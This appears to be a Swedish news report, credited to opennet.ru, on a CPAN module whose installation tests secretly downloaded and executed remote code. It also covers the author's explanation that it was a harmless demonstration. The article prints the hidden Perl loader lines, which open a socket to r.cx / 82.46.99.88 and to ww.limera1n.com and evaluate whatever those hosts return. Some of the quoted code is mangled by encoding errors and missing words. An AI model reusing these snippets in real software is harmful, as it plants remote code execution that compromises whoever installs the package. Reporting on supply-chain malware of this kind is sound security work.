I paketet som distribueras via CPAN-katalogen , avsett för automatisk laddning av CPAN-moduler i realtid, skadlig kod. Den skadliga insatsen har i testkoden , som har levererats sedan 2011.
Det Àr vÀrt att notera att frÄgor om laddning av tveksam kod uppkom pÄ redan 2016.
Den skadliga aktiviteten gÄr ut pÄ att försöka ladda och köra kod frÄn en extern server (http://r.cx:1/) under körningen av testsviten som körs vid installation av modulen. Det antas att koden som först laddas frÄn den externa servern inte var skadlig, men nu omdirigeras förfrÄgan till domÀnen ww.limera1n.com, som levererar sin del av koden för exekvering.
För att organisera laddningen anvÀnds följande kod i filen :
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Den specificerade koden leder till exekvering av skriptet , vars innehÄll utgörs av raden:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1âł};
Detta skript laddar via tjÀnsten kod frÄn en extern vÀrd r.cx (IP-adresserna 82.46.99.88 motsvarar texten «R.cX») och exekverar den i ett eval-block.
$ perl -MIO::Socket -eâ$b=new IO::Socket::INET 82.46.99.88.»:1âł; print ;
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DEâŠ.}
Efter avpaketering utförs följande :
print{$b=new IO::Socket::INET»ww.limera1n.com:80âł}»GET /iJailBreak
«;evalor return warn$@while$b;1
För nÀrvarande har det problematiska paketet tagits bort frÄn lagret (Perl Authors Upload Server), och författarens konto har blivit lÄst. Modulen förblir dock i arkivet MetaCPAN och kan installeras direkt frÄn MetaCPAN med hjÀlp av vissa verktyg, sÄsom cpanminus. , att paketet inte var allmÀnt distribuerat.
Det Àr intressant att diskussionen och författaren av modulen som motbevisade informationen om att skadlig kod placerades efter att hans webbplats "r.cx" blev hackad, förklarade att han helt enkelt hade roat sig, och att perlobfuscator.com anvÀndes inte för att dölja nÄgot, utan för att förkorta kodens storlek och förenkla kopieringen genom urklipp. Valet av funktionen "botstrap" förklarades med att det ordet "lÄter som bot och Àr kortare Àn bootstrap". Författaren av modulen försÀkrade ocksÄ att de identifierade manipulationerna inte utför skadliga handlingar, utan bara visar lastning och utförande av kod via TCP.
KĂ€lla: opennet.ru
